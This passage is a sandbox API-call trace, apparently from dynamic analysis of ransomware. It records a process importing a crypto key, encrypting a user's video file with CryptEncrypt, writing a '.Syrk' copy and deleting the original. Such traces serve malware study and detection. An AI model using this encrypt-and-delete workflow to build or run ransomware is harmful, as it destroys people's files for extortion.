Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0257.827] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0257.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0257.827] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0257.827] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0257.827] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0257.827] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.827] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0257.828] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0257.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0257.828] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.828] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0257.828] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0257.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0257.828] SystemFunction041 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.828] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0257.828] SystemFunction040 (in: Memory=0x3afcbc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3afcbc) returned 0x0 [0257.828] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0257.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0257.829] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.829] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0257.829] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0257.829] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0257.829] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.830] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0257.830] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0257.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0257.830] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.830] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0257.830] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0257.830] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0257.830] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.830] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0257.830] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.831] EtwEventActivityIdControl () returned 0x0 [0257.831] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0257.831] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.831] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0257.831] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0257.833] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cee0) returned 1 [0257.834] CryptImportKey (in: hProv=0x5c4cee0, pbData=0x25132b4*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c995a0) returned 1 [0257.834] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.835] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.835] EtwEventActivityIdControl () returned 0x0 [0257.835] EtwEventActivityIdControl () returned 0x0 [0257.835] EtwEventActivityIdControl () returned 0x0 [0257.841] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi")) returned 0x20 [0257.877] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi")) returned 0x20 [0257.877] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0257.877] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", lpFilePart=0x0) returned 0x31 [0257.878] EtwEventActivityIdControl () returned 0x0 [0257.878] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.878] EtwEventActivityIdControl () returned 0x0 [0257.879] EtwEventActivityIdControl () returned 0x0 [0257.879] EtwEventActivityIdControl () returned 0x0 [0257.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0257.880] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", lpFilePart=0x0) returned 0x31 [0257.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0257.880] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0257.880] GetFileType (hFile=0x364) returned 0x1 [0257.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0257.880] GetFileType (hFile=0x364) returned 0x1 [0257.880] EtwEventActivityIdControl () returned 0x0 [0257.881] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.881] EtwEventActivityIdControl () returned 0x0 [0257.881] EtwEventActivityIdControl () returned 0x0 [0257.881] EtwEventActivityIdControl () returned 0x0 [0257.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0257.882] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk", lpFilePart=0x0) returned 0x36 [0257.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0257.882] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0257.883] GetFileType (hFile=0x368) returned 0x1 [0257.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0257.883] GetFileType (hFile=0x368) returned 0x1 [0257.883] EtwEventActivityIdControl () returned 0x0 [0257.883] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x25239cc | out: pbBuffer=0x25239cc) returned 1 [0257.884] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.885] CryptDuplicateKey (in: hKey=0x5c995a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99760) returned 1 [0257.885] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0257.885] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x4, pbData=0x2524d04*=0x1, dwFlags=0x0) returned 1 [0257.885] CryptSetKeyParam (hKey=0x5c99760, dwParam=0x1, pbData=0x2524cd0, dwFlags=0x0) returned 1 [0257.885] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.885] EtwEventActivityIdControl () returned 0x0 [0257.885] EtwEventActivityIdControl () returned 0x0 [0257.886] EtwEventActivityIdControl () returned 0x0 [0257.886] EtwEventActivityIdControl () returned 0x0 [0257.887] ReadFile (in: hFile=0x364, lpBuffer=0x2527940, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2527940*, lpNumberOfBytesRead=0x5a2e7d8*=0x1c95, lpOverlapped=0x0) returned 1 [0257.888] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x253b958*, pdwDataLen=0x5a2e7cc*=0x1c90, dwBufLen=0x1c90 | out: pbData=0x253b958*, pdwDataLen=0x5a2e7cc*=0x1c90) returned 1 [0257.888] WriteFile (in: hFile=0x368, lpBuffer=0x2523aa8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2523aa8*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0257.890] ReadFile (in: hFile=0x364, lpBuffer=0x2527940, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x2527940*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0257.890] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x253d5f4*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x253d5f4*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0257.890] CryptEncrypt (in: hKey=0x5c99760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x253d610*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x253d610*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0257.890] WriteFile (in: hFile=0x368, lpBuffer=0x2523aa8*, nNumberOfBytesToWrite=0xcb4, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2523aa8*, lpNumberOfBytesWritten=0x5a2e7f8*=0xcb4, lpOverlapped=0x0) returned 1 [0257.890] CloseHandle (hObject=0x368) returned 1 [0257.892] CloseHandle (hObject=0x364) returned 1 [0257.892] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.892] EtwEventActivityIdControl () returned 0x0 [0257.892] EtwEventActivityIdControl () returned 0x0 [0257.892] EtwEventActivityIdControl () returned 0x0 [0257.897] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi")) returned 0x20 [0257.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0257.900] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", lpFilePart=0x0) returned 0x31 [0257.900] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0257.900] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0257.900] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0257.900] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0257.900] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0257.900] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0257.900] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0257.901] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0257.901] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0257.901] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0257.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0257.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0257.901] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0257.901] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0257.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0257.901] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0257.901] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi")) returned 0x20 [0257.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0257.902] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", lpFilePart=0x0) returned 0x31 [0257.904] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0257.904] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", lpFilePart=0x0) returned 0x31 [0257.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0257.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0257.905] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", lpFilePart=0x0) returned 0x31 [0257.905] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0257.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0257.905] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0257.905] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0257.905] CoTaskMemFree (pv=0x3b0008) [0257.908] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi")) returned 0x20 [0257.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0257.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi", lpFilePart=0x0) returned 0x31 [0257.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0257.909] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi"), fInfoLevelId=0x0, lpFileInformation=0x2548e08 | out: lpFileInformation=0x2548e08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dfcc830, ftCreationTime.dwHighDateTime=0x1d99020, ftLastAccessTime.dwLowDateTime=0xaf6e5e60, ftLastAccessTime.dwHighDateTime=0x1d99d0a, ftLastWriteTime.dwLowDateTime=0xaf6e5e60, ftLastWriteTime.dwHighDateTime=0x1d99d0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c95)) returned 1 [0257.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0257.909] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi")) returned 1 [0257.910] EtwEventActivityIdControl () returned 0x0 [0257.910] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.911] EtwEventActivityIdControl () returned 0x0 [0257.911] EtwEventActivityIdControl () returned 0x0 [0257.911] EtwEventActivityIdControl () returned 0x0 [0257.917] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi.syrk")) returned 0x20 [0257.918] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\wctn_hgh2xhblipzt0o.avi.syrk")) returned 0x20 [0257.918] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0257.919] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\wCtn_HGh2XHBliPZt0O.avi.Syrk", lpFilePart=0x0) returned 0x36 [0257.919] EtwEventActivityIdControl () returned 0x0 [0257.919] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.919] EtwEventActivityIdControl () returned 0x0 [0257.919] EtwEventActivityIdControl () returned 0x0 [0257.919] EtwEventActivityIdControl () returned 0x0 [0257.964] EtwEventActivityIdControl () returned 0x0 [0257.964] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0257.965] EtwEventActivityIdControl () returned 0x0 [0257.965] EtwEventActivityIdControl () returned 0x0 [0257.965] EtwEventActivityIdControl () returned 0x0 [0257.969] EtwEventActivityIdControl () returned 0x0 [0257.969] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 